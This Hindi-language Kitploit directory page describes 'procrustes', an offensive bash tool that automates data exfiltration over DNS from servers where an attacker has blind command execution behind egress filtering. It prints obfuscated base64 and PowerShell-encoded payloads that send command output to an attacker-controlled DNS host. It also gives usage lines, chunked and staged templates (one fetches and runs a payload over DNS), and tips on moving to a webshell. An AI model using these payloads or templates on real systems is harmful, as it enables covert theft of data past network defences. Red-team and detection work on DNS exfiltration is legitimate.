Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
procrustes — एक bash स्क्रिप्ट जो DNS के माध्यम से डेटा की निकासी को स्वचालित करती है, जब हमारे पास egress फ़िल्टरिंग वाले सर्वर पर अंधा कमांड निष्पादन होता है। | Kitploit
उपकरण/GitHubGitHub/vp777/procrustes
शोषणडेटा निष्कासनकमांड एंड कंट्रोलरेड टीमिंगDNS विश्लेषण
GitHubvp777/procrustes

procrustes

एक bash स्क्रिप्ट जो DNS के माध्यम से डेटा की निकासी को स्वचालित करती है, जब हमारे पास egress फ़िल्टरिंग वाले सर्वर पर अंधा कमांड निष्पादन होता है।

रिपॉजिटरी देखें
2103235 साल पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

Procrustes

एक bash स्क्रिप्ट जो DNS के ऊपर डेटा के बाहर निकासी (exfiltration) को स्वचालित करती है, जब हमारे पास एक सर्वर पर अंधा कमांड निष्पादन (blind command execution) होता है, जहाँ DNS को छोड़कर सभी आउटबाउंड कनेक्शन अवरुद्ध होते हैं। स्क्रिप्ट वर्तमान में sh, bash और powershell का समर्थन करती है और exec शैली के कमांड निष्पादन (जैसे java.lang.Runtime.exec) के साथ संगत है।

असंगठित (Unstaged):

संगठित (Staged):

अपने संचालन के लिए, स्क्रिप्ट उस कमांड को इनपुट के रूप में लेती है जिसे हम लक्ष्य सर्वर पर चलाना चाहते हैं और लक्ष्य शेल के अनुसार इसे रूपांतरित करती है ताकि इसके आउटपुट को DNS के ऊपर बाहर निकाला जा सके। कमांड के रूपांतरित होने के बाद, इसे "डिस्पैचर" को खिलाया जाता है। डिस्पैचर उपयोगकर्ता द्वारा प्रदान किया गया एक प्रोग्राम है और एक इनपुट के रूप में एक कमांड लेने और इसे किसी भी आवश्यक माध्यम से लक्ष्य सर्वर पर निष्पादित करने के लिए जिम्मेदार है (जैसे किसी भेद्यता का शोषण)। कमांड के लक्ष्य सर्वर पर निष्पादित होने के बाद, यह हमारे DNS नाम सर्वर पर हमारे डेटा के टुकड़ों वाले DNS अनुरोधों को ट्रिगर करने की उम्मीद की जाती है। स्क्रिप्ट उन अनुरोधों को तब तक सुनती है जब तक उपयोगकर्ता द्वारा प्रदान किए गए कमांड का आउटपुट पूरी तरह से बाहर नहीं निकाला जाता।

नीचे समर्थित कमांड रूपांतरण दिए गए हैं, जो कमांड के बाहर निकासी के लिए उत्पन्न हुए हैं: ls

sh:

root@kitploit:~
sh -c $@|base64${IFS}-d|sh . echo IGRpZyBAMCArdHJpZXM9NSBgKGxzKXxiYXNlNjQgLXcwfHdjIC1jYC5sZW4xNjAzNTQxMTc4LndoYXRldi5lcgo=

bash:

root@kitploit:~
bash -c {echo,IG5zbG9va3VwIGAobHMpfGJhc2U2NCAtdzB8d2MgLWNgLmxlbi4xNjAzMDMwNTYwLndoYXRldi5lcgo=}|{base64,-d}|bash

powershell:

root@kitploit:~
powershell -enc UgBlAHMAbwBsAHYAZQAtAEQAbgBzAE4AYQBtAGUAIAAkACgAIgB7ADAAfQAuAHsAMQB9AC4AewAyAH0AIgAgAC0AZgAgACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AFQAbwBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAoAGwAcwApACkAKQAuAGwAZQBuAGcAdABoACkALAAiAGwAZQBuACIALAAiADEANgAwADMAMAAzADAANAA4ADgALgB3AGgAYQB0AGUAdgAuAGUAcgAiACkACgA=

उपयोग (Usage)

  1. bash के लिए स्थानीय परीक्षण:
root@kitploit:~
./procroustes_chunked.sh -h whatev.er -d "dig @0 +tries=5" -x dispatcher_examples/local_bash.sh -- 'ls -lha|grep secret' < <(stdbuf -oL tcpdump --immediate -l -i any udp port 53)
  1. WSL2 के साथ powershell के लिए स्थानीय परीक्षण:
root@kitploit:~
stdbuf -oL tcpdump --immediate -l -i any udp port 53|./procroustes_chunked.sh -w ps -h whatev.er -d "Resolve-DnsName -Server wsl2_IP -Name" -x dispatcher_examples/local_powershell_wsl2.sh -- 'gci | % {$_.Name}'
  1. powershell उदाहरण जहाँ हम अपने NS में SSH करके आने वाले DNS अनुरोधों को प्राप्त करते हैं।
root@kitploit:~
./procroustes_chunked.sh -w ps -h yourdns.host -d "Resolve-DnsName" -x dispatcher_examples/curl_waf.sh -- 'gci | % {$_.Name}' < <(stdbuf -oL ssh user@HOST 'sudo tcpdump --immediate -l udp port 53')
  1. विकल्पों पर अधिक जानकारी
root@kitploit:~
./procroustes_chunked.sh --help

procroustes_chunked बनाम procroustes_full

संक्षेप में, मान लें कि हम कुछ डेटा को बाहर निकालना चाहते हैं जिसे DNS पर प्रेषित करने के लिए चार टुकड़ों में तोड़ना होगा:

  • procroustes_chunked: डिस्पैचर को चार बार कॉल करता है, हर बार सर्वर से एक अलग टुकड़ा अनुरोध करता है। इसमें अपेक्षाकृत छोटा पेलोड आकार होता है, यह तेज़ होता है और किसी विशेष कॉन्फ़िगरेशन की आवश्यकता नहीं होती।
  • procroustes_full: डिस्पैचर को एक बार कॉल करता है, सर्वर पर निष्पादित होने वाला कमांड डेटा को टुकड़ों में बांटने और भेजने के लिए जिम्मेदार होगा। इसमें बड़ा पेलोड आकार हो सकता है, यह तेज़ होता है (गति को -t पैरामीटर के माध्यम से ट्यून किया जा सकता है) और जब dns_server नाम सर्वर पर चल रहा होता है तो इसकी गति को और भी अनुकूलित किया जा सकता है।
  • procroustes_full/staged: procroustes_full के समान, लेकिन डेटा को टुकड़ों में बांटने के लिए procroustes_full द्वारा उपयोग किए जाने वाले कमांड को प्राप्त करने के लिए एक स्टेजर का उपयोग करता है। इसमें सबसे छोटा "पेलोड" आकार होता है लेकिन बाहर निकासी दर के संबंध में सबसे धीमा भी होता है क्योंकि वास्तविक पेलोड DNS पर डाउनलोड होता है। इसके संचालन के लिए एक nsconfig स्क्रिप्ट के निर्माण की आवश्यकता होती है। ध्यान दें: nsconfig स्क्रिप्ट प्रति नाम सर्वर केवल एक बार बनाई जानी चाहिए (प्रति लक्ष्य सर्वर नहीं)।

उनके कुछ अंतरों को bash के लिए उपयोग किए जाने वाले टेम्पलेट कमांड के माध्यम से भी चित्रित किया जा सकता है:

procroustes_chunked/bash:

root@kitploit:~
%DNS_TRIGGER% `(%CMD%)|base64 -w0|cut -b$((%INDEX%+1))-$((%INDEX%+%COUNT%))'`.%UNIQUE_DNS_HOST%

procroustes_full/bash:

root@kitploit:~
(%CMD%)|base64 -w0|echo $(cat)--|grep -Eo '.{1,%LABEL_SIZE%}'|xargs -n%NLABELS% echo|tr ' ' .|awk '{printf "%s.%s%s\n",$1,NR,"%UNIQUE_DNS_HOST%"}'|xargs -P%THREADS% -n1 %DNS_TRIGGER%

procroustes_full/bash/staged:

root@kitploit:~
(seq %ITERATIONS%|%S_DNS_TRIGGGER% $(cat).%UNIQUE_DNS_HOST%|tr . \ |printf %02x $(cat)|xxd -r -p)|bash

procroustes_chunkedprocroustes_fullprocroustes_full_staged
पेलोड आकार ओवरहेड (bash/powershell)150*NLABELS/500*NLABELS (+CMD_LEN)300/800 (+CMD_LEN)150/400[1]
डिस्पैचर कॉल की संख्या#आउटपुट/(LABEL_SIZE*NLABELS)[2]11
गति (bash/powershell)✔/✔✔/✔✓/✓[3]
कॉन्फ़िगरेशन कठिनाईआसानआसान+मध्यम

[1] स्टेज्ड संस्करण के लिए, कमांड DNS के माध्यम से डाउनलोड किया जाता है, इसलिए सूचीबद्ध आकार कुल पेलोड आकार भी है।

[2] procroustes_chunked पर, डिस्पैचर को कई बार कॉल किया जाता है और इसलिए प्रदान किया गया कमांड जो सर्वर पर निष्पादित होना चाहिए (जब तक इसका सारा आउटपुट बाहर नहीं निकल जाता) भी कई बार कॉल होता है। यह व्यवहार आदर्श नहीं है यदि सर्वर पर कमांडों की डिलीवरी (अर्थात डिस्पैचर को कॉल करके) समय/संसाधन गहन हो।

यह समस्या पैदा कर सकता है यदि हम सर्वर पर जो कमांड निष्पादित कर रहे हैं वह इडेम्पोटेंट नहीं है (कार्यक्षमता या आउटपुट के संदर्भ में, जैसे "ls; rm file") या समय/संसाधन गहन है (जैसे find / -name secret)। इस मामले के लिए एक कार्य-समाधान यह है कि पहले कमांड आउटपुट को एक फ़ाइल में संग्रहीत करें (जैसे /tmp/file) और फिर उस फ़ाइल को पढ़ने के लिए स्क्रिप्ट का उपयोग करें।

[3] स्टेज्ड संस्करण में DNS पर वास्तविक पेलोड प्राप्त करने के लिए आवश्यक समय का ओवरहेड होता है। यह ध्यान दिया जाना चाहिए कि स्क्रिप्ट वास्तविक पेलोड प्राप्त करने के लिए A रिकॉर्ड का उपयोग करती है। हालांकि यह हमारे ट्रैफ़िक को लक्ष्य वातावरण के नियमित ट्रैफ़िक के साथ बेहतर ढंग से मिश्रित करने की अनुमति देता है, यह सीमित चैनल क्षमता प्रदान करता है (जैसे प्रति अनुरोध 4 बाइट्स)। हम TXT जैसे अन्य रिकॉर्ड प्रकारों का उपयोग कर सकते हैं और स्टेज डाउनलोड समय (लगभग शून्य) और स्टेजर आकार को कम कर सकते हैं।

सुझाव (Tips)

  • आप शायद इस स्क्रिप्ट का जितना संभव हो उतना कम उपयोग करना चाहेंगे, जितनी जल्दी हो सके उच्च बैंडविड्थ चैनल (जैसे HTTP-webshell) में संक्रमण करने का प्रयास करें।
  • यदि लंबे टेक्स्ट आउटपुट की उम्मीद है, तो आप बाहर निकासी प्रक्रिया को गति देने के लिए पहले इसे संपीड़ित करने का प्रयास कर सकते हैं, उदा. ./procrustes_full.sh ... -o >(setsid gunzip) -- 'ls -lhR / | gzip'
  • बड़ी/बाइनरी फ़ाइलों के लिए एक और संभावना यह है कि उन्हें एक ऐसे पथ पर कॉपी करें जो उदाहरण के लिए HTTP के माध्यम से सुलभ हो।
  • procroustes_full में बाहर निकासी बैंडविड्थ बढ़ाने के लिए, अपने नाम सर्वर पर dns_server चलाएँ। इस तरह, हम एक नए टुकड़े पर जाने से पहले अंतर्निहित DNS_TRIGGER के टाइमआउट की प्रतीक्षा करने से बचते हैं।
  • आदर्श रूप से, आपके पास एक डोमेन (-h विकल्प) होना चाहिए जिसमें एक NS रिकॉर्ड हो जो आपके नियंत्रण वाले सर्वर (सर्वर जहाँ हम tcpdump चलाते हैं) की ओर इशारा करता हो। फिर भी, यदि लक्ष्य मनमाने DNS सर्वरों से कनेक्शन शुरू करने की अनुमति देता है, तो DNS ट्रिगर को स्पष्ट रूप से हमारे DNS सर्वर का उपयोग करने के लिए सेट करके इससे बचा जा सकता है (जैसे dig @your_server whatev.er)

क्रेडिट (Credits)

  • Collabfiltrator - सर्वर पर डेटा को टुकड़ों में बांटने का विचार। यह इस स्क्रिप्ट के समान कार्यक्षमताएँ भी करता है, इसलिए इसे देखें।
  • DNSlivery - DNSlivery का संशोधित संस्करण DNS सर्वर के रूप में उपयोग किया जाता है।
टूल डाउनलोड करें